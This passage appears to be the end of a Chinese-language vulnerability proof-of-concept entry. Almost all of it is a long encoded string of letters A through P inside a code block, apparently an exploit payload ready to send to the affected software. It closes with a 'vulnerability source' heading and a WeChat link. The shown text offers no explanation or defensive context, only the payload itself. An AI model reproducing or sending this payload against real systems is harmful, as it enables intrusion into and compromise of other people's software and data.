OFFOOMMKKPKHKGHDGHOKNCNOLEJHMKAJHKBANICBDKAHMOEBKKMKEPHKMGJADADKDAKEFCFPMHKBNNEDFKPOENMIEADPJJBCPDOPHHBIDHOKGIEKCKJKIELPICMGEBJPEPDAIGHHNMBAKBGHIGHOLFJCKJKHDBCPHIDILBOALJMCHLAMELOJMPBBABKBDJPFIANLCKELHJDENPIFENFDGFFJJCBNOGDKGLEGHLJIJHCDKNBEFJCNKGGEAGDEDMDIMFFLLAMKKPBOKJFMNGEJLOKBLEJPMADAGLLPGAMJJGKKBKADBMNFDDFFONGLBABOPLAGGAPCCLMBNFAIAPCLPIHDFPIBCCJCJDLBPGJAABBFAMOPKJDNLLCBIGHEENNNICKMBCHKLKOGGJIPBCHEGGDEFJBLECIPPJMPIAGOBIODMNHDNGLIGNHFCMEDEGKJPAGCNIADBPMJGOGCGNFCCFKAIOILOCMFBPJPAOLCGGEJMLEHPMDFJDKFLLGBOEJOAILNLENKOHMOGOKOCEDBFKJCHCKNGIKBFPEMAHMBNODIONNFHOAHJHNKDNGCBOCNMJPMJKAFCEFLAMCCADEALJGMJEMECIENCGKKDDHOKCELHOPBCOBGELOMLPGJEPNMOPLNCHAJOBADKPKBGOCLIFIOLPJFGKDLDPMPADDILEBANMEJJKAEHNNEPDNDHCCJMPJKNCNNGPIGHPCFGPEPCGDJACHBJAIABDNMJDBAEFNHHNBIBDPBLDHALEGFILOILPFNIMNEABHKBLPFIJDBDEMKPKFKPPFJOIHCPIBBLMJIPKPBMEICFJHLOGKGOPDBLLNKBPJGCFEJMCPHFFAHKFHLICJFMJMNPCAGNELEGOLEGFDIPBKOBNFJALKPJGBFANOCGKDDKEBGFFHEPAFHMJIPBHNDEAGDCOHBHNAJNINGMFJAOOPBLNOGDDCABIJOPCNLMFKDIMBOCIIOPDDCMEALLJLDMCDEJJJKKIBILCPOJDPOHFIJPIACIEJBPAPHILKKIIEJDMLBGACEEKKJBIAHOJKBIBHFCBHHIEEFEEJGJEMCHGHNNBDHKEOOBJLLCPOCIBFEGCOEPJABBAIDALNEGFIKFHDPAEGCIEPNNOMBJAELOIGADJKAIGEIJADHHILHEEHFLLFMHGLPKBELIODLDMPLOLPAAHNNGJPLHAMLFAALFJFGLGJBJKEILMBKGHJACPEBLHGKCGILLKMCMCEMHGJGLFHOICJJPGPKDIGGDPCGLPDLCODONBGFNKMNAEGCIEPNNOMBJAELOIGADJKAIGEIJADHHILHEEHFLLFMHGLPKBELIODLDMPLOLPAAHNNGJPLHAMLFAALFJFGLGJBJKEILMBKGHJACPEBLHGKCGILLKMCMCEMHGJGLFHOCDGDJMCPOGMCBDFLBICGKALADFCPBCIOAPFNNCGOMIBGOONCEJABBECENLGJJOGNNBIGKMEPNNEKPGDDHNMMJBOHPNIOKCGBFNLKKDNPOPHCPMKIPAAHFIDNMELMLFLHGLDHNMJIAFFNNHBGFAAJCNFFLCGDDPNABKLFIKJFJFJHNDALBEAKCKEGCMFIJCFLOAAJBOLLDDLOBPAHKHJOJGDELGPBEFADICJFBPHNALJBBLMEMONHNAKMHGBKPPKFBEMKNGJAGLADAGHKIACJAFBCIGKLEDPBJAHAPLFIANFDFFLNFDGBLDCFPALFHJOGPKBFDFLIIHFKOKNIGMAPABEJDJILDHPMKGNCLGCEBKNCPEHDIHMLGJNGJMMCGIPCACGKNOCKNFGDCMKBHBFOJIIEEHCKFOGHLDPPCBIDCOFPPLMKKDEDHOBDCIINKECGGNAAJAAELGFEDLFOBOPHPJLNILCKOPIEEKNFPAMJHMOHFONHCAOEMGGICPAOILGCPGHPLFDDFHONOEKOJHMOAECBEIHDBEJKODKMBPGHBHPEHPHEPKCMNBLOOFBFFNPENINPABDDEBDCJJCMBAOKFGKNHLLMMBAIADJJGKFIDOCBEKGOGJLMMNOCAAMHJKHMCLCEDENEBGLEOGGOCDHGCEPLDCFEPHPHHLALGFHABCFBEBGHFAGIFJLILCNMBKDEKNOFMJCDNCPHKHPPBIBKAMJPEMPBDIHFJHLAHHOKFEDBMOJOGJAENCLANAHEAPNOOIOCLBFNCGFEPMLECODAPNFJDOCOENGAIDEAJKDEPAIAMDPBPNMJPHIOLOBFJEGGMHKLJEAIHBIHMBALMENHDHNAEBGCJACOPHKAEMABBBLDDAJFEJCOEHKLKACJIOEPEAIFAHCMEJKCDMPLNPFCLBLEPKJDCCBDBCDCLJICHCHGAJIAJILHNMJOFFOMHLHMCLIHIBKJCCACBFDOJPIMHNIPBPOFLOMDBPJPPKENGMDPGLPJBAMCKAFIFCALIEBMOHHNONLPDBONAEECGNMIKHOAONAELAPDFPBNDLJJGGJNPDIPLGAGHILJJJEPKDEFAEDDNBEDKNBIEFDFCMDEFHEAHGAJEEBDNLJAJJEADIJEPFMBPCKDMDILAOBKIDGGJMHOCFLBCONDDKLNEKLNDFJLHMGJMOGFGCPJNPCBNNKOFDMICBHMBJJIGLODFCGGALGCLIGCPCGLHIFCOGLHOGGADCHPEEPDMOFDKIGKJINLLNGCKHKNLGKEELDGHKFJBNDDABKEOPPMILHODBFHOJLGCPMIEBIGOOOHBPHOMJINLPKANNPGBMGGHFOGICKODHDHICJKOKNGOOIJMEKNLPBJODGAJOPEAPAHPNPNJNPMIJDEJLEBAJOIHGJCHCKKDHDHICJKOKNGOOIJMEKNLPBJODGAJOPEAEECMFMFLHGAJEAHMGJHPDKLHOAKGDHIAEHPCNOEGDKJILCACBIJEPMBOHPPKCLFEOMEKEHNNNAKMIFHIKGJIAMLPKNMIPOINOEENNONJPAFFIABNIFPNBPCHBNLPGKOKPHKAFKHPCPKCFCFCGEMMGIGBLLHAELJDMCOHGEHFAGNADKHKBIPIOBGIFHNIMCLOJPDGJMHBCKMBDOAHIAOBBKEEGJIMPMPNMANHHLLNHNNBCPPHIBJLCCGPEKCKFLDCFDOFLIPJKOEFKJGKIPOBJJLMKPFEFMPJKANFCDCNCAECDJGIHJACIGAEJLLAPEONHJEJFGOCGIGBNFMPIJPKFLDDBABLMIKPNKDEFDDOCFEMMDJPCKFKDEEIKJACMDEMAAENOLBKEACALJFKCMHAMCFGABJIOAEJMIHLFPCJDAGLOKMDJBKLHMNICPKHBNLDGABNBFJIACCPENEEEHKHFHIDEHKBDBJKIKHHHOIMADEMOFBIJPEAGAJPHKJFLCINONHFBJBLDIFPKJFKNMCIEBBAEBKPFJDGHHGEHIABKLAKBAIBNAAKBKIDMKBILIJBMBOPMBMOCGCFGFNCBBHIOLANPDPEEILENFNMCGPFKLAJGPMNJFOFHOMIEPPMJABMECHPOCBFKHMHEOBGDOFFGPKHEKLKMCILBPBNMEKBHPOMANPEDEAFJFPBPIFNFNEGBOMFNNHIHOJFGMPKPNDKEOLPPNDMCLMKAKKPOKPMIOGEIBNHDDKLANPKHDMOGAHNEONOHJLMCPDKJBLPAPHPNBFNFCBBLLACCJGBPFABECPFCPGNCIFOAEIHOBFGBNFINBHOAHIIIPPBKCCAKOOJKOFDMDCACDPNPAEOKJKGEPOHKODBKDJFLNFEKPDMGHAPKHHGOLGBLIPDKJOKCKJDCOGDAMMHMBACELBMMCAEKADLCKIDFMABAIKDCHJIDAKHODMHEEJLMBEJENLLCIAIOPCAHMDPKDKEJILFFHAIDJPOLHHMOEICHEKOHGIEGBJGHHPKDNJCCEBLFEPJOGOAOFKJHKNEEHBAHEBLPDNFCNAMDFBJDOANEAAHHKPHJPGNOPGBDJNBCGMAKCKJDBIFECCELMPMIKCEDNMOLOFMPJGKMGJHHJODPGCHEGKLJHBGBEGLLBIGFHBMPCNNHBDHMBEHICKOIMBMMDMIHNNJPCGINIFAKCGIEEGLOPIDECBMLDANNIHLDDGKAEAFBBDNBHJKLOJKGKGMBGHAGNNPPBBNJLIMBKGBNHLEDKOGDMMBMJLJHNFBPJENEAMHMPODMJGCMDFKGEBCMKLBCMFMEFIKDJFIJPHBOILCLMMBOAFPIIAHOONINADMHKBJCAJDOPCANHKDNNHCDEKLLBPJKCPAIHIHFFIIEHAIDFBAJFCAFPKKFBLNKIOBFKBBGOAACBBOIHKHPJGCNNPBKOBDLLGPPKJMKBEBBCAFFFJFGNAMICFHKOCBFCBAPDHKBEOKJILFDJCGONACEBMLBINFJADBBIBDNKPLAMPADIBEGHAKMLDKAOIANMOPNBJIOCOBFIFOPPDPBGPMLMGLGIANEIGHPMAFIDAIEEHIAAFPKGNJPJKMCPHPACKNANBNMHLHEBHOBGLDGEEJDNGLFGINMLJDNGGFIIBLMAIOJKOPDPGDPJHGFLLOMLPKGDOONCGMOEOFEOEFDLHHJINMLCONPDKKAFGLEFOPGLODGGACFCDMGONGPBEMMEFJJBNFKCKJLGCPGHJCGLCGNDDIGNEGMLMLFEHAFLGKAGLMDEDGKEJIGEEECKOBLHEGPKAIBDECBNBENCFNIHPABKFNIKOHJPMONNHIECNPOLMOICIMMFMBEHDPJIHKLBGEMJOFMJAAEDHGINOMOMPGKKDCOAIPIOBBFEMPFBFHKKJGLJAJAIGNFKAPLNACHOJHIELAPNCFDLLFBCCHHLKHENCKLDCMEIKGKPJLCDDKKAMAMACGCBMDMGIAFFFHBGLBGBACJGKJGGKCIMADJAJJJMONFJAKCBJMLFIPFNCNKEPCIOOODDOIOIHPMFDMMALIJEMOFAAEHCAFBPACCMBHNBMIOBBBOKHMBJMJILINKOIGPNMMOMIMFFKGHICKLAMHKPEAIPJMLBODECGBEBCDMAJAJMGAHMDLFOMMAGGMFHEFHONIGPPEOGDPMOIOEAMGFHIIMKLGANLBHFCLGNHIEPPMEGPCCOPBPDDKDJELINEHDMPJFPIPFJIGJLBAIJJKMGCDBIJKPPOGHABLHKBENJPBKANLDAFPICACMOIMNPGFFODBMBFGECBBIJDJJECKFMKKBAADADIJEENMCCPGMICNAPJJHIJEKGPAIMMEKDEDINEIKICPGHFILNEMCDDCMNBMIPAPABGLMMGLPLHHHNAHIIMJBAELIODHBKIIAKFBOIOMCDNINLHKMPJACBBMLCLMOFCCCCPBFCHDKBODDEKFIPNFIJKAHBCKLIAMPJIMGFBAOCKLHAMKMMBMPPLABOMKBNBOIJGBPNIHLNHLCDAEJIDOIBCEBIPEFAGCBPHIFDPBMPFCFOPOBHPJNOCHGMDADNIKEBJMHDGCEEEMLLGAENAEKBDEJBCAIENHJNIOANLKNNGMIFCMIFPGKFIFCPJMMBNHCANDEJLGNFMOCDHPHBMLLBNNADEENECFDGMHPAKCNMCJAIDBPCGDMKAKOLOIJPKJELGMGKLGJHMMIIJBHLIBGEOCLNGNHDAENAPDMIMKBLJOMKNMIBJAKPHMEEEHGJIGGBONAJGFLPHPNOGILDHBHPPAECCMOJBJFDKIEMBJBLLKCECDBIAKEPHLOKJIGLFENJHAENFNPFFAECIIFNHICAPKNBMPDKDPAHEKDDOIGIHEHBIBANJLOHOMIEHCMOKGAGIGFJMCDNGDGGKFLCLHNJJNEJNADOJPIHINAENNLGOHDFJKBFEBIFGFGAJOPEDOMDEIPFLCLIHPHLPHHOKKNPDAHJNHNBIKJEHNNEPLIONICMJAOMJJMOKOMDCEHJCMLFNNBDBOLJECGLJEKLDKFKBICJOHGCKBKCMPBNFHEIHFJEJGOPGGEDGKLOLMHONBNDBGGBJBJKCHCLOECFGIDGIINCIJGJMIFHLCKILPGLHFLEHPFAENLMFDGLDPKBOMPHADLPLLLBEMECMJJHIMJHGLNIKKDCMKCFBFGDMKEJHCHGLLILHAOPPJHNGLCOBPOBIABKPGHDHFBHEGFMGEKCEFKHEPMFPAEGKBMMFEMDPNFELLKGGJKDCAHLBDINDCEJJMAIGMENEDOBKLEMEBMONLPHPBAOIDFAPDIHHKPLEDFDHBLPOFHALMIDJBKGKAKNBGGMEONJCGPJHOCGJPJJDENAEOKBECAFDFEIGKGCGMKAJOHLPKCGIECAAOBMPEHDPNHKDNNHFKOGEMNODFOADCEOKHADDCGGGFMMHFINAJMCLFBABGBPKBEPJCLCGKHKKJPNLAKLBELICOPIBOAMPKLLKICICNAHFJLIJIDEIEOILGJECLBLLOBJMCCCEOAMJJBCMFCPIPMDCFHHDHIFGILIGAJNJBGFHBHBNCIPHCDODMMDOCFCGFGMKABKFONAMAOFGNONLANHBJICHAICPNPONEBEAGFLPGOHJCNJFMBIIJOHEDCPMNPKLOFOOBNCHAIFIFFLKDMKHJDFBEDCNMGDDJPPNCHDPFLFJJLCGPBILAHPOJDBMPMOAHDBKEKIDAFCDHGFMMPDFBNMHKKMACKBNDLFNKMDBKIBEGOKGGCCIOHNLAMMBPOOOGMANKCLFNDMMGPMKHHOFPGDLHAJPDBFBLPGHNFLJGMFHCKHGLIPPAJOFIBOBEHOECAKBIMAHIMHFGEEMMIFEHDIPHIIJOCJBDMKIBAMCGHMCCNOHDCIHFJNMHJHNAKHFFINKCFPMKFPEMFAEABAADBLPCMLDCALNBJJGAPMOCBCCHDFCIMHHAHBEKOKPEJJDPCKAHHEJMHGHGBKIGMEJMCIFNDINAPHEEBEFINMIKELABJABDCOPENKPNONAGKFGMINBGNGPEBENEOOHOIDLHFHFMDJCHOPEKOIOOLLBPLDINAOGIEGINNNMAIELHPIAOMACGCCJFJLPANLFOEIFMKLOFGIDMACKCEDANMOGGAIOLHBPCAKCJCELLMJBOABGAIFAPCGMHKDBAHOFDMNANAAIJGMEIALEIBGDIEPLKCHCHEMJPOCGOPHKMAOIKFHIGOLKOLEBDAEFHBFFDLKLHANPBFNIPHJPFOJAHFBHJEJNFOELENPNAGHLCIFHCMAKLDEHLICFCENFOFKGFLLDLEFGMPJBPCJOPLBJNJAODKFOEIDGFGGFDGNFMJOKKDINICPPDLMMJMEFKAAOKPOPCIBFAMCFEGBJMCHJNCCHNBJKNNCFLIOLEFBLNEFIKBNPFEANNICBEDINFGCOHIEFCDMDPNIDNIFOCGPENNGLKHDMNPIEDEIGFMDLOAIHILHBAEBPCCMDIEOGJABMNMODHNINGLMNCJNDBCGBEACDGCJMNEHPLDHNEHNCIOBKPKPJOFKENHGAIDEJIMOAAJPPIFIPOGDPMPDKCGJEMDFDMPNLKFDFEHPGFMLOBOLJFEHCNKDNAGKMBNOIIDFNMPMLLJOPLJONBPJMAEBCPBKCGNMAJIFEPJGNFNFNPOLLJJEGFJFPNGNMMHANJLFIDDCGOJEBEJJMAOHBPCDMNFCHHABFFODFJBMOOEJGGBJENMKBAIEMEBEALJAKNGAINPAIAFKOCHNILFJLKINBCEJJNIJEJJEHEDPNPKPCGNGNBMJFMMIJKHLAIHCEGCLNEJEKIFOCJBEDODBFOENAIJMLDKMGHIKHILEJAEBJIHALODPIGJCCNCJFIHLBBAKLFIDPLGHCMBNCHAOMNKNEONBEMHKOJGMAPBGBANGKNJINNIFNOPCLFLADCKHONIDHNFENPLDMGHADLCJAJDKAAOMAJGLBCLBOLPOBHNFJIPOCJNAKIDCLNEGEFIGCGOLOMDOABOAHJMEONAPDEGMBBPHFNGKKKDKHHHONBDOCMFDCNFCLOBGIMMADMBIMMADFNHDIJHPKMDINLFPNBHABLJPMHDDBOPGEDLLEIOAIOIAIGAOMMMONFGLPPHHPDADMDHIJLGIOENFOGNLNCALCJCIBBGDADAOAMFNLENOPBMDOONADGOBJEHLFMPNMHKCHFPMNAHFMIMEFLCAMFMEOACEKALFLLLKGMPHGMPBBCKNIHGINGMGDAAOCHBCGHPLKPNDCHOBPHJKBDAKECOBIOJGKDMBKDBFPEGIGNOBDGELAENFFLCBKHHJADGFGCBAINLJPDMOBGLNNHAOBHGLGMMLDHGINFFOLGPHCHJEAEIMPNDLHJEACOGBHNMLKDGMPEFJMAELGMNLBFJHDGPDDNDFJKKFANAGJJDMMILKLINJMIEDPFLIBNIPJMOOGNPLJNDJKJPNJKIKAMCKOMLKMELOCOFLDDJIEOHGCNFBMBKLMDNOLDHBEKIBEANDIBLAFFHEOHOKDNNBGAOPAKMHDBFEIJLLLGDPHMGCONOJBEJHAPFAELOAOPHKLMMJAOLPECGBABMCNBCIGOPODKACGKLKKALIKKFKPGBFHGFGJEEGPFCGBFMCGPP +``` + +## 漏洞来源 +- https://mp.weixin.qq.com/s/s3vlGTtNQh_pMWNCd6Vfwg